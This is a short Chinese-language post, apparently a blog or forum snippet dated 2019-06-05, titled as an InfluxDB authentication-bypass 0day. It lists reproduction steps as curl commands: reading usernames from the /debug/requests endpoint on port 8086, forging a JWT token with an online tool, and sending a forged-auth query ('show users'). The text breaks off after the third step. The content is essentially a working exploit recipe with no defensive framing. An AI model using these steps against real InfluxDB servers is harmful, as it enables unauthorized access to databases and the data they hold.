influxdb认证绕过0day

a02845 2019-06-05

0day复现步骤:1. 查找user namecurl -G "http://xxx:8086/debug/requests"2. 构造jwt token在线构造地址3. 构造认证头curl -G 'http://xxx:8086/query' --data-urlencode 'q=show users'...